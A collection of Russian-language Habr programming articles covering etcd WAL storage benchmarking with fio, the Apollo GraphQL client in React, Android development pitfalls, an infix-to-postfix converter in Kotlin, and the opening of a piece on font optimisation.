### Несколько слов о WAL'ах etcd
Как правило, базы данных используют [упреждающую журнализацию](https://ru.wikipedia.org/wiki/%D0%A3%D0%BF%D1%80%D0%B5%D0%B6%D0%B4%D0%B0%D1%8E%D1%89%D0%B0%D1%8F_%D0%B6%D1%83%D1%80%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) (write-ahead logging, WAL). etcd это тоже касается. Обсуждение WAL выходит за рамки этой статьи, однако для наших целей нужно знать следующее: каждый член кластера etcd хранит WAL в постоянном хранилище. etcd записывает некоторые операции с key-value-хранилищем (например, обновления) в WAL, прежде чем выполнить их. Если узел упадет и перезапустится в промежутке между snapshot'ами, etcd сможет восстановить транзакции, проведенные с момента предыдущего snapshot'а, ориентируясь на содержимое WAL.
Таким образом, каждый раз, когда клиент добавляет ключ в KV-хранилище или обновляет значение существующего ключа, etcd добавляет описание операции в WAL, представляющий собой обычный файл в постоянном хранилище. Прежде чем продолжить работу, etcd ДОЛЖНА быть на 100% уверена, что запись в WAL действительно сохранена. Чтобы добиться этого в Linux, недостаточно использовать системный вызов [`write`](https://linux.die.net/man/2/write), поскольку сама операция записи на физический носитель может быть отложена. Например, Linux в течение некоторого времени может продержать WAL-запись в кэше ядра в памяти (например, в страничном кэше). Чтобы гарантировать, что данные записаны на носитель, после записи необходимо задействовать системный вызов `fdatasync` — именно так поступает etcd (как видно на примере следующего вывода [`strace`](https://linux.die.net/man/1/strace); здесь `8` — дескриптор файла WAL):
```
21:23:09.894875 lseek(8, 0, SEEK_CUR) = 12808 <0.000012>
21:23:09.894911 write(8, ".\0\0\0\0\0\0\202\10\2\20\361\223\255\266\6\32$\10\0\20\10\30\26\"\34\"\r\n\3fo"..., 2296) = 2296 <0.000130>
21:23:09.895041 fdatasync(8) = 0 <0.008314>
```
К сожалению, запись в постоянное хранилище занимает некоторое время. Затянувшееся выполнение вызова fdatasync может сказаться на производительности etcd. В документации к хранилищу [указывается](https://github.com/etcd-io/etcd/blob/master/Documentation/faq.md#what-does-the-etcd-warning-failed-to-send-out-heartbeat-on-time-mean), что для достаточной производительности необходимо, чтобы 99-й процентиль продолжительности всех вызовов `fdatasync` при записи в файл WAL была меньше 10 мс. Есть и другие метрики, связанные с хранилищем, но в этой статье пойдет речь именно об этой.
Оцениваем хранилище с помощью fio
---------------------------------
Оценить, подходит ли некое хранилище для использования с etcd, можно с помощью утилиты [fio](https://github.com/axboe/fio) — популярного тестера I/O. Учитывайте, что дисковый ввод-вывод может происходить по-разному: sync/async, множество различных классов системных вызовов и т.п. Оборотная сторона медали заключается в том, что `fio` чрезвычайно сложна в использовании. У утилиты множество параметров, и различные комбинации их значений приводят к совершенно разным результатам. Чтобы получить вменяемую оценку в случае etcd, вы должны убедиться, что нагрузка на запись, генерируемая fio, максимально походит на нагрузку etcd при записи в WAL-файлы:
* Это означает, что генерируемая `fio` нагрузка, по крайней мере, должна представлять собой серию последовательных записей в файл, где каждая операции записи состоит из системного вызова [`write`](https://linux.die.net/man/2/write), за которым следует `fdatasync`.
* Чтобы включить последовательную запись, необходимо указать флаг `--rw=write`.
* Чтобы `fio` писала с использованием вызовов `write` (а не других системных вызовов — например, [`pwrite`](https://linux.die.net/man/2/pwrite)), используйте флаг `--ioengine=sync`.
* Наконец, флаг `--fdatasync=1` гарантирует, что за каждым `write` следует `fdatasync`.
* Два других параметра в нашем примере: `--size` и `--bs` — могут меняться в зависимости от конкретного сценария использования. В следующем разделе будет описана их настройка.
Почему мы выбрали fio и откуда узнали, как его настраивать
----------------------------------------------------------
Эта заметка появилась из реального случая, с которым мы столкнулись. У нас был кластер на Kubernetes v1.13 с мониторингом на Prometheus. В качестве хранилища для etcd v3.2.24 выступали твердотельные накопители. Метрики etcd показывали слишком высокие задержки `fdatasync`, даже когда кластер простаивал. Нам эти метрики казались весьма сомнительными, и мы не были уверены в том, что именно они представляют. Вдобавок, кластер состоял из виртуальных машин, поэтому не получалось сказать, задержка была связана с виртуализацией или во всем виноваты SSD.
Кроме того, мы рассматривали различные изменения в конфигурации аппаратного и программного обеспечения, поэтому требовался способ их оценки. Конечно, можно было бы запустить etcd в каждой конфигурации и посмотреть на соответствующие метрики Prometheus, но это потребовало бы значительных усилий. Нам же был нужен простой способ, позволяющий оценить конкретную конфигурацию. Мы хотели проверить свое понимание метрик Prometheus, поступающих от etcd.
Для этого требовалось решить две проблемы:
* Во-первых, как выглядит I/O-нагрузка, генерируемая etcd при записи в файлы WAL? Какие системные вызовы используются? Каков размер блоков записи?
* Во-вторых, допустим, ответы на вышеперечисленные вопросы у нас есть. Как воспроизвести соответствующую нагрузку с `fio`? Ведь `fio` — чрезвычайно гибкая утилита с обилием параметров *(в этом легко убедиться, например, [здесь](https://github.com/axboe/fio/blob/master/HOWTO) — прим. перев.)*.
Мы решили обе проблемы с помощью одного и того же подхода, опирающегося на команды [`lsof`](https://linux.die.net/man/8/lsof) и [`strace`](https://linux.die.net/man/1/strace):
* С помощью `lsof` можно просмотреть все файловые дескрипторы, используемые процессом, а также файлы, к которым они относятся.
* С помощью `strace` можно анализировать уже запущенный процесс или запустить процесс и понаблюдать за ним. Команда выводит все системные вызовы, совершенные данным процессом и, при необходимости, его потомками. Последнее важно для процессов, который форкается, и etcd — один из таких процессов.
Первое, что мы сделали, — использовали `strace` для изучения сервера etcd в кластере Kubernetes, пока тот простаивал.
Так было обнаружено, что блоки записи в WAL очень плотно сгруппированы, размер большинства лежал в диапазоне 2200-2400 байт. Именно поэтому в команде в начале этой статьи используется флаг `--bs=2300` (`bs` — размер в байтах каждого блока записи в `fio`).
Обратите внимание, что размер блоков записи etcd может варьироваться в зависимости от версии, deployment'а, значений параметров и т.д. — это влияет на продолжительность `fdatasync`. Если у вас похожий сценарий использования, проанализируйте с помощью `strace` свои процессы etcd, чтобы получить актуальные значения.
Затем, чтобы получить четкое и всеобъемлющее представление о работе etcd с файловой системой, мы запустили ее из-под `strace` с флагами `-ffttT`. Это позволило охватить процессы-потомки и записать вывод каждого в отдельный файл. Кроме того, были получены подробные сведения о моменте старта и длительности каждого системного вызова.
Мы также воспользовались командой `lsof`, чтобы подтвердить свое понимание вывода `strace` в плане того, какой файловый дескриптор для какой цели использовался. Получился вывод `strace`, похожий на тот, что приведен выше. Статистические манипуляции со временами синхронизации подтвердили, что метрика `wal_fsync_duration_seconds` от etcd соответствует вызовам `fdatasync` с дескрипторами файлов WAL.
Чтобы сгенерировать с помощью `fio` рабочую нагрузку, аналогичную нагрузке от etcd, была изучена документация утилиты и подобраны параметры, подходящие нашей задаче. Мы убедились в том, что задействованы нужные системные вызовы, и подтвердили их продолжительность, запустив `fio` из `strace` (как это было сделано в случае etcd).
Особое внимание было уделено определению значения параметра `--size`. Он представляет собой общую нагрузку I/O, генерируемую утилитой fio. В нашем случае это полное число байтов, записанное на носитель. Оно прямо пропорционально числу вызовов `write` (и `fdatasync`). Для определенного `bs` количество вызовов `fdatasync` равно `size / bs`.
Поскольку нас интересовал процентиль, мы стремились к тому, чтобы число проб было достаточно большим для статистической значимости. И решили, что `10^4` (что соответствует размеру в 22 Мб) будет достаточно. Меньшие значения параметра `--size` давали более выраженный шум (например, вызовы `fdatasync`, которые занимают гораздо больше времени, чем обычно, и влияют на 99-й процентиль).
Дело за вами
------------
В статье показано, как с помощью `fio` можно оценить, является ли достаточно быстрым носитель, предназначенный для использования с etcd. Теперь дело за вами! Исследовать виртуальные машины с хранилищем на базе SSD можно в сервисе [IBM Cloud](https://cloud.ibm.com/).
P.S. от переводчика
-------------------
С готовыми примерами использования `fio` для решения других задач можно ознакомиться в [документации](https://fio.readthedocs.io/en/latest/fio_doc.html#examples) или напрямую в [репозитории проекта](https://github.com/axboe/fio/tree/master/examples) (там их представлено намного больше, чем упоминается в документации).
P.P.S. от переводчика
---------------------
Читайте также в нашем блоге:
* «[etcd 3.4.3: исследование надёжности и безопасности хранилища](https://habr.com/ru/company/flant/blog/487534/)»;
* «[Наш опыт работы с данными в etcd Kubernetes-кластера напрямую (без K8s API)](https://habr.com/ru/company/flant/blog/501956/)»;
* «[6 занимательных системных багов при эксплуатации Kubernetes [и их решение]](https://habr.com/ru/company/flant/blog/443458/)». | https://habr.com/ru/post/505100/ | null | ru | null |
# Apollo graphql client — разработка приложений на react.js без redux
Apollo graphql client представляет удобный лаконичный спсоб работы с данными в приложениях react. В большинстве случаев все то, что мы привыкли делать с помощью redux, гораздо проще сделать при помощи Apollo graphql client. То, о чем я хотел бы рассказать в этой статье — это что связка react + apollo client + graphql существенно (на порядок) упрощает разработку приложений react.
Для работы мы будем использовать тестовый сервер graphql по [адресу](https://api.graph.cool/simple/v1/ciyz901en4j590185wkmexyex). graphql из коробки предлагает, кроме всего прочего, консоль для выполнения запросов, и в ней же интегрированную документацию. Предлагаю раскрыть эту панель. В левой панели можно вводить запрос, в правой будет выводиться ответ. Попробуйте ввести самый простой запрос:
```
query {
allUsers {
id
name
}
}
```
allUsers это имя запроса, а внутри фигурных скобок — имена полей которые будут возвращены. Более сложные запросы могут содержать список параметров и содержать поля вложенных объектов:
```
query {
allPosts(orderBy: updatedAt_DESC, first: 7){
id
title
user {
id
name
}
}
}
```
В данном случае параметры orderBy и limit не следует воспринимать как в SQL. Это просто имена параметров которые сами по себе без реализации не делают сортировку или ограничение выборки.
Другие параметры и выходные поля этих запросов можно посмотреть из интерфейса консоли.
В качестве основы для приложения возьмем react-create-app. Дополнительно установим apollo-client и react-router-dom:
```
npm install apollo-boost react-apollo graphql-tag graphql --save
npm install react-router-dom --save
```
Изменим основной компонент приложения App.js:
```
import React from 'react';
import { Route, Switch, BrowserRouter } from 'react-router-dom';
import { ApolloProvider } from 'react-apollo';
import ApolloClient from 'apollo-boost';
import Layout from './Layout';
import AllUsers from './AllUsers';
import TopPosts from './TopPosts';
import NewPost from './NewPost';
const client = new ApolloClient({
uri: 'https://api.graph.cool/simple/v1/ciyz901en4j590185wkmexyex',
});
const App = () => (
);
export default App;
```
AploolProvider и ApolloClient — это все что нужно для того чтобы во всех компонентах можно было использовать graphql.
Проще всего передать данные в компонент с использованием тэга Query. Давайте выведем в компоненте список пользователей (сам запрос мы уже опробовали в консоли раньше):
```
import React from 'react';
import { Link } from 'react-router-dom'
import { Query } from "react-apollo";
import gql from "graphql-tag";
import TopPosts from './TopPosts';
const AllUsers = () => (
{({ loading, error, data }) => {
for (let key in arguments[0])
console.log(key, arguments[0][key]);
console.log('data', data)
if (loading) return Loading...
;
if (error) return Error :(
;
return (
{data.allUsers.map(({ id, name }) => (
* {name ? name : 'incognoito'}
))}
);
}}
);
export default AllUsers
```
Для добавления или изменения состояния на сервере используются Mutation:
```
import React from 'react';
import { Link } from 'react-router-dom'
import { Mutation } from 'react-apollo';
import gql from 'graphql-tag';
const NewPost = (props) => (
{(createPost, { loading, error, data }) => {
if (loading) return Loading...
;
if (error) return Error :(
;
let userId, title, text
return (
{
e.preventDefault();
createPost({ variables: {
userId: userId.value ,
title: title.value ,
text: text.value ,
}});
}}>
userId = node }
/>
title = node }
/>
text = node }
/>
);
}}
);
export default NewPost;
```
Когда я знакомился с примерами компонетов react с использованием apollo graphql client я чувствовал себя не совсем уютно. А все дело в том что разработчик веб-приложения мыслит скорее императивно, чем декларативно. Нам хочется действия. «Установить фильтр», «сохранить запись» и т.п. И когда мы переходим к тому что нам нет необходимости думать о том как данные грузятся с сервера мы вместо того чтобы принять такой подход и использоватьего преимущества задумываемся над тем как мы будем контролировать store.
Дополняю текст еще одним примером, в котором в запросе graphql используется параметр принятый от охватывающего компонента (роута).
```
import React from 'react';
import { Link } from 'react-router-dom'
import { Query } from 'react-apollo';
import gql from 'graphql-tag';
const Post = (props) => (
{({ loading, error, data }) => {
if (loading) return Loading...
;
if (error) return Error :(
;
return (
* {data.Post.id}
* {data.Post.title}
* {data.Post.text}
);
}}
);
export default Post;
```
[Исходный код](https://github.com/apapacy/apollo-lesson).
Также Apollo client работает и в условиях серверного рендеринга и универсальных приложений. Предзагрузка данных для серверного рендеринга (включая и все вложенные компоненты) реализована «из коробки». Парадокс в том что соединив несколько технологий которые часто критикуют за усложненность получили в результате существенное упрощение приложения.
apapacy@gmail.com
11 мая 2018 года. | https://habr.com/ru/post/358292/ | null | ru | null |
# Разработка под Android, грабли большие и не очень
Ниже я попробую описать ряд неприятных особенностей с которыми может столкнуться разработчик для платформы Android. Не все они являются особенностью именно операционной системы Android, но так или иначе шансы встретиться с ними есть.
Грабли большого размера
-----------------------
**Как это происходит:** Вы выкладываете свое приложение размером в 10 мегабайт в Android Market, и вам приходит гневное письмо от пользователя — «Как можно делать такие ужасные программы, она даже не хочет устанавливаться на мой телефон, она меня обманывает. У меня было 15 мегабайт свободно на телефоне, я попытался установить ваше приложение в описании которого написано что оно занимает 10 мегабайт — она мне сказала что места не достаточно, я удалил ненужные программы и у меня 25 мегабайт свободно — все равно говорит не достаточно места, я удалил программы которые нужны мне и стало 35 мегабайт свободного места — она все равно не хочет устанавливаться. WTF! Зачем вы пишите неверный размер своей программы!» (мой вольный перевод с английского реального письма).
**Причина:** Для установки приложения размером X мегабайт, нужно от 2X до 4X свободного места.
**Почему:** Сначала файл приложения скачается на устройство и займет там X мегабайт места, потом он будет распакован для проверки — еще от X до 2X мегабайт в среднем, потом он будет перемещен в приложения в файловой системе еще X мегабайт.
**Что делать:** Если вы делаете приложение больше 5 мегабайт размером, то будьте готовы писать функциональность для скачивания и размещения на флэшке части ресурсов, а так же проверки на возможное отсутствие флэшки или удаление част ваших файлов, причем в процессе работы приложения.
Грабли со встроенной флэш памятью
---------------------------------
**Как это происходит:** Вы делаете приложение интенсивно работающие с файлами. Замеряете время работы и получаете вполне приемлемые цифры — оверхэд файловой операции порядка 5 миллисекунд. Приложение работает быстро, вы довольны. После установки ряда приложений, вы замечаете что время работы вашей программы выросло в 5 раз.
**Причина:** Особенности реализации файловой системы — чем меньше свободного места на флэшке, тем больше времени занимают операции с файлами. Время доступа вырастает с 5 мс до 300мс, в теории время доступа может вырасти до 200 раз.
**Почему:** Файловая система пытается сохранить жизнь вашей флэшки, поэтому отслеживает интенсивные операции с файлами и часто востребованные файлы пытается перемещать с места на место. Чем больше файлов, и чем меньше свободного места, тем больше ей на это нужно времени.
**Что делать:** Вместо множества маленьких файлов, один большой файл с индексами. И будем надеяться что никто не будет использовать ваше приложение месяцами и не убьет свою флэшку.
Грабли ограниченные
-------------------
**Как это происходит:** Вам приходит прототип нового планшета на Android c размером экрана 1280 на 800 с целым гигабайтом памяти на борту. Вы в радостном предвкушение начинаете портировать ваш квест — загружаете первый полноэкранный задник, второй, шестой — и получаете OOME (OutOfMemoryError).
**Причина:** 16Мб памяти на процесс (24Мб на N1/Desire), это включает себя «нативную кучу», где хранятся Bitmap (и OpenGL текстуры)
**Почему:** В лучших традициях ~~демократии~~ диктатуры — лучше пускай всем приложениям будет доступно по немногу памяти, чем дать возможность одному приложения использовать всю память, из-за чего могут быть проблемы у других приложений. Ну и много других нюансов.
**Что делать:** ~~640кб~~ 24 Мб памяти хватит всем
Чувствительные грабли
---------------------
**Как это происходит:** Вы создали ваше приложение, добавили туда классную музыку, добавили туда управление с использование акселерометра. Пользователи жалуются что управление ужасное.
**Причина:** При проигрывания музыкального трека на максимальной громкости, особенно где много басов, при неподвижном телефоне значение поворота снятые со сенсоров меняются от -10 до +10 градусов.
**Почему:** Динамик слишком близко расположен к сенсорам
**Что делать:** Не давать выставлять музыку на максимальную громкость, не использовать треки в стиле heavy metal, учитывать тремор сенсоров
Грабли с поддержкой MultiTouch
------------------------------
**Как это происходит:** Вы хотите сделать управление, например как в игре iDracula
> 
>
>
И не можете.
**Причина:** Вы получаете координаты касания парами — две X координаты, две Y координаты. Узнать к какому касанию принадлежит та или иная координата вы не можете. В результате, если вы проводите пальцами навстречу друг другу по какой-то оси, и то после совпадения координат по данной оси вы уже не можете определить к какому нажатию относиться какая координата. Я понимаю что описание достаточно туманное — поэтому можете посмотреть вот это видео —
Либо скачать на ваш телефон приложение MultiTouch Visualizer.
**Почему:** Особенности реализации сенсора на некоторых моделях телефонов — Nexus One, Desire.
**Что делать:** Отказаться от подобного управления, либо разносить его по Y координате.
Магические грабли
-----------------
**Как это происходит:** Вы пишите следующий код
`while(true) {
Task task = queue.getTaskBlocking();
task.execute();
}`
Где Task это достаточно «жирный объект», которые выделяет много памяти. И обнаруживаете, что памяти используется больше чем планировалось. Посмотрев результирующий байт код вы обнаруживаете, что это компилируется совсем не в такой код который вы хотели, и именно в код
`Task task;
while(true) {
task = queue.getTaskBlocking();
task.execute();
}`
В результате вы имеет два экземпляра Task в памяти. Не беда думаете вы, мы сейчас явно укажем что один экземпляр можно удалить из памяти.
`while(true) {
Task task = queue.getTaskBlocking();
task.execute();
task = null;
}`
Но посмотрев на результирующий байт код вы видите, что оптимизатор решил что так как переменная out of scope, выкинул ваше явное зануление объекта, и у вас все равно два экземпляра в памяти. И тогда рождается магия.
`class Magic {
static private int n = 0;
static public void doMagic(Object obj) {
if (obj != null) n++;
}
static public int getMagic() { return n; }
}
while(true) {
Task task = queue.getTaskBlocking();
task.execute();
task = null;
Magic.doMagic(task);
}`
**Причина:** Бага :)
**Почему:** // TODO: Найти разработчика отвечающего за это, пытать и узнать почему.
**Что делать:** Магия | https://habr.com/ru/post/97909/ | null | ru | null |
# Преобразование инфиксной нотации в постфиксную
Что такое [инфиксная](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D0%B8%D0%BA%D1%81%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F) нотация и [постфиксная](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D0%BB%D1%8C%D1%81%D0%BA%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C) можно узнать если внимательно почитать в Википедии. Так же есть [статья](https://habr.com/ru/post/100869/) на Хабре.
В это статье я покажу простой и понятный алгоритм преобразования инфиксной записи в постфиксную. Данный алгоритм я реализую на языке Kotlin, хотя алгоритм подойдет для любого языка программирования.
Ну что, вперед.
Для лучшего понимания и запоминания, будем использовать аббревиатуры:
1. **STACK** — стек это тип данных, представляющий собой список элементов, организованных по принципу LIFO (последним пришёл — первым вышел). Более детальное изучение [здесь](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA)
2. **QUEUE** — очередь это тип данных, представляющий собой список элементов, организованных по принципу FIFO (первый пришёл — первым вышел). Более детальное изучение [здесь](https://ru.wikipedia.org/wiki/%D0%9E%D1%87%D0%B5%D1%80%D0%B5%D0%B4%D1%8C_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
3. **PUSH** — проталкивание, при проталкивании добавляется новый элемент, в вершину стека, то есть текущий элемент становиться вершиной стека (последним элементом). Детально изучить можно [здесь](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA#%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8_%D1%81%D0%BE_%D1%81%D1%82%D0%B5%D0%BA%D0%BE%D0%BC)
4. **POP** — выгружает элемент который, является вершиной стека. Вершиной становится последний элемент в стеке. Более детально можно почитать [здесь](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BA#%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8_%D1%81%D0%BE_%D1%81%D1%82%D0%B5%D0%BA%D0%BE%D0%BC).
5. **TOP** — вершина стека, то-есть последний его элемент
**Алгоритм преобразования из инфиксного в постфиксное выражение**Перебираем выражение слева на право.
1. Если входящий элемент число, то добавляем его в очередь (**QUEUE**).
2. Если входящий элемент оператор (+, -, \*, /) то проверяем:
* Если стек (**STACK**) пуст или содержит левую скобку в вершине (**TOP**), то добавляем (**PUSH**) входящий оператор в стек (**STACK**).
* Если входящий оператор имеет более **высокий** приоритет чем вершина (**TOP**), поместите (**PUSH**) его в стек (**STACK**).
* Если входящий оператор имеет более **низкий** или **равный** приоритет, чем вершине (**TOP**), выгружаем **POP** в очередь (**QUEUE**), пока не увидите оператор с **меньшим** приоритетом или **левую скобку** на вершине (**TOP**), затем добавьте (**PUSH**) входящий оператор в стек (**STACK**).
3. Если входящий элемент является **левой скобкой**, поместите (**PUSH**) его в стек (**STACK**).
4. Если входящий элемент является **правой скобкой**, выгружаем стек (**POP**) и добавляем его элементы в очередь (**QUEUE**), пока не увидите **левую круглую скобку**. Удалите найденную скобку из стека (**STACK**).
5. В конце выражения выгрузите стек (**POP**) в очередь (**QUEUE**)
Рассмотрим пример: **5\*6+(2-9)**
Перебираем выражение слева на право.
Начальное состояние **STACK** = empty
Начальное состояние **QUEUE** = empty
* Входящий элемент **5**. Добавляем в очередь.
**STACK** = empty
**QUEUE** = 5
* Входящий элемент **\***. Добавляем в стек.
**STACK** = \*
**QUEUE** = 5
* Входящий элемент **6**. Добавляем в очередь.
**STACK** = \*
**QUEUE** = 5, 6
* Входящий элемент **+**. Здесь мы видим, что входящий оператор имеет более **низкий** приоритет чем вершина стека. Согласно алгоритму, выгружаем стек в очередь пока не увидим на вершине стека оператор с **меньшим** приоритетом или **левую скобку**. После выгрузки входящий оператор добавляем в стек.
**STACK** = +
**QUEUE** = 5, 6, \*
* Входящий элемент **(**. Добавляем в стек.
**STACK** = +, (
**QUEUE** = 5, 6, \*
* Входящий элемент **2**. Добавляем в очередь.
**STACK** = +, (
**QUEUE** = 5, 6, \*, 2
* Входящий элемент **—** . Здесь мы видим, что входящий оператор " **—** ", а на вершине стека "(". Согласно алгоритму добавляем в стек.
**STACK** = +, (, —
**QUEUE** = 5, 6, \*, 2
* Входящий элемент **9** . Согласно алгоритму добавляем в очередь.
**STACK** = +, (, —
**QUEUE** = 5, 6, \*, 2, 9
* Входящий элемент **)** . Согласно алгоритму выгружаем стек в очередь, пока не найдем левую скобку. Потом удаляем из стека левую скобку.
**STACK** = +
**QUEUE** = 5, 6, \*, 2, 9, —
* После того, как выражение закончилось мы выгружаем все в очередь.
**STACK** = empty
**QUEUE** = 5, 6, \*, 2, 9, -, +
В итоге мы получили постфиксное выражение **56\*29-+**.
**Алгоритм получение результата из постфиксного выражения**Перебираем постфиксное выражение слева на право.
1. Если входящий элемент является числом, поместите(**PUSH**) его в стек (**STACK**)
2. Если входящий элемент является оператором (\*-/+), необходимо получить (**POP**) два последних числа из стека (**STACK**) и выполнить соответствующую операцию. Далее поместите (**PUSH**) полученный результат в стек (**STACK**).
3. Когда выражение закончится, число на вершине (**TOP**) стека (**STACK**) является результатом.
Получим результат постфиксного выражения: **56\*29-+**.
Перебираем выражение слева на право.
Начальное состояние **STACK** = empty
* Входящий элемент **5**. Добавляем в стек.
**STACK** = 5
* Входящий элемент **6**. Добавляем в стек.
**STACK** = 5, 6
* Входящий элемент **\*** . Получаем два последних числа из стека (5 \* 6), умножаем их, и результат возвращаем в стек.
**STACK** = 30
* Входящий элемент **2** . Добавляем в стек.
**STACK** = 30, 2
* Входящий элемент **9** . Добавляем в стек.
**STACK** = 30, 2, 9
* Входящий элемент **—** . Получаем два последних числа из стека (2 — 9), получаем их разность, и результат возвращаем в стек.
**STACK** = 30, -7
* Входящий элемент **+** . Получаем два последних числа из стека (-7 + 30), суммируем их, и результат возвращаем в стек.
**STACK** = 23
Соответственно результат выражения:
Инфиксное выражение: 5\*6+(2-9) = 23
Постфиксное выражение: 56\*29-+ = 23
**Для примера реализуем на языке Kotlin**Попробуем рассчитать сложное выражение: 5\*8\*(2+9)+(7\*5+8-9\*(5\*5)+5) = 263
1. **Перебираем выражение, заполняем expressionList: mutableListOf()**
```
private var stack = mutableListOf()
private var queue = mutableListOf()
private var expressionList = mutableListOf()
fun main() {
parseExpression()
}
fun parseExpression() {
"5\*8\*(2+9)+(7-5+8-9\*(5\*5)+5)".forEach {
expressionList.add(it.toString())
}
print("Инфиксное выражение: ")
expressionList.forEach {
print(it)
}
println()
}
```
2. **Преобразуем инфиксную запись в постфиксную**
```
private fun getPostFixEx() {
// Перебираем expressionList
expressionList.forEach {
when {
//Если входящий элемент левая скобка делаем PUSH
it == "(" -> push(it)
//Если входящий элемент правая скобка делаем POP
it == ")" -> {
if (expressionList.contains("(")) {
pop()
}
}
//Если входящий элемент число, то добавляем в очередь
Regex("[\\d]").containsMatchIn(it) -> addQueue(it)
//Если входящий элемент + или -
Regex("[+-]").containsMatchIn(it) ->
/* Проверяем, если стек пустой или на вершине стека левая скобка,
* то делаем PUSH */
if (stack.isEmpty() || stack.last() == "(") push(it)
/* Иначе, если на вершине стека оператор имеющий больший
* приоритет, то делаем POP, потом PUSH */
else if (stack.last().contains(Regex("[/*]"))) {
pop()
push(it)
}
// Иначе просто делаем PUSH
else {
addQueue(stack.last())
stack[stack.lastIndex] = it
}
//Если входящий элемент * или /
Regex("[*/]").containsMatchIn(it) -> {
/* Проверяем, если на вершине стека элемент с таким же приоритетом,
* то делаем POP */
if (stack.isNotEmpty() && (stack.last() == "*" || stack.last() == "/")) {
pop()
}
// Потом делаем PUSH
push(it)
}
}
}
// Когда перебрали все элементы выражения, то добавляем из стека элементы в очередь
if (stack.isNotEmpty()) {
for (i in stack.lastIndex downTo 0) {
if (stack[i] != "(") {
addQueue(stack[i])
}
}
}
print("Постфиксное выражение: ")
queue.forEach {
print(it)
}
println()
}
private fun pop() {
// Выгружаем стек в очередь пока не найдем левую скобку, потом удаляем скобку из стека
Loop@ for (i in stack.lastIndex downTo 0) {
if (stack[i] == "(") {
stack[i] = " "
break@Loop
}
addQueue(stack[i])
stack[i] = " "
}
stack.removeIf { it == " " }
}
private fun addQueue(item: String) {
queue.add(item)
}
private fun push(item: String) {
stack.add(item)
}
```
3. **Произведем расчет постфиксной записи**
```
private fun calcPostFix() {
//Создаем стек для работы
val stack = mutableListOf()
// Перебераем все эелементы очереди
for (item in queue) {
when {
// Если входящий элемент - число, то добавляем в стек
Regex("[\\d]").containsMatchIn(item) -> {
stack.add(item.toInt())
}
/\* Если входящий элемент + , берем два последних элемента
и производим советующую операцию \*/
item == "+" -> {
stack[stack.lastIndex - 1] = stack[stack.lastIndex - 1] + stack.last()
stack.removeAt(stack.lastIndex)
}
/\* Если входящий элемент \* , берем два последних элемента
и производим советующую операцию \*/
item == "\*" -> {
stack[stack.lastIndex - 1] = stack[stack.lastIndex - 1] \* stack.last()
stack.removeAt(stack.lastIndex)
}
/\* Если входящий элемент / , берем два последних элемента
и производим советующую операцию \*/
item == "/" -> {
stack[stack.lastIndex - 1] = stack[stack.lastIndex - 1] / stack.last()
stack.removeAt(stack.lastIndex)
}
/\* Если входящий элемент -, берем два последних элемента
и производим советующую операцию \*/
item == "-" -> {
stack[stack.lastIndex - 1] = stack[stack.lastIndex - 1] - stack.last()
stack.removeAt(stack.lastIndex)
}
}
}
// Результат - это элемент, который остался в стеке
println("Ответ: ${stack.first()}")
}
```
Результат выполнения:
Инфиксное выражение: 5\*8\*(2+9)+(7-5+8-9\*(5\*5)+5)
Постфиксное выражение: 58\*29+\*75-8+955\*\*-5++
Ответ: 230
Вот и все, все достаточно просто и понятно. | https://habr.com/ru/post/489744/ | null | ru | null |
# Производительность фронтенда. Часть 3 — оптимизация шрифтов
***От переводчика:** Это восьмая статья из [цикла о Node.js](https://hacks.mozilla.org/category/a-node-js-holiday-season/) от команды Mozilla Identity, которая занимается проектом [Persona](http://ru.wikipedia.org/wiki/Mozilla_Persona).
**Все статьи цикла:**1. "[Охотимся за утечками памяти в Node.js](http://habrahabr.ru/company/nordavind/blog/195494/)"
2. "[Нагружаем Node под завязку](http://habrahabr.ru/company/nordavind/blog/195686/)"
3. "[Храним сессии на клиенте, чтобы упростить масштабирование приложения](http://habrahabr.ru/company/nordavind/blog/196018/)"
4. "[Производительность фронтэнда. Часть 1 — конкатенация, компрессия, кэширование](http://habrahabr.ru/company/nordavind/blog/196358/)"
5. "[Пишем сервер, который не падает под нагрузкой](http://habrahabr.ru/company/nordavind/blog/196518/)"
6. "[Производительность фронтэнда. Часть 2 — кешируем динамический контент с помощью etagify](http://habrahabr.ru/company/nordavind/blog/196818/)"
7. "[Приручаем конфигурации веб-приложений с помощью node-convict](http://habrahabr.ru/company/nordavind/blog/197166/)"
8. "[Производительность фронтенда. Часть 3 — оптимизация шрифтов](http://habrahabr.ru/company/nordavind/blog/197370/)"
9. "[Локализация приложений Node.js. Часть 1](http://habrahabr.ru/company/nordavind/blog/197566/)"
10. "[Локализация приложений Node.js. Часть 2: инструментарий и процесс](http://habrahabr.ru/company/nordavind/blog/198154/)"
11. "[Локализация приложений Node.js. Часть 3: локализация в действии](http://habrahabr.ru/company/nordavind/blog/198252/)"
12. "[Awsbox — PaaS-инфраструктура для развёртывания приложений Node.js в облаке Amazon](http://habrahabr.ru/company/nordavind/blog/198590/)"*
---
Мы смогли уменьшить объем шрифтов для Persona на 85%, с 300 до 45 килобайт, используя подмножества шрифтов. Эта статья рассказывает о том, как именно мы это сделали, и какие мы использовали инструменты.
### Представляем connect-fonts
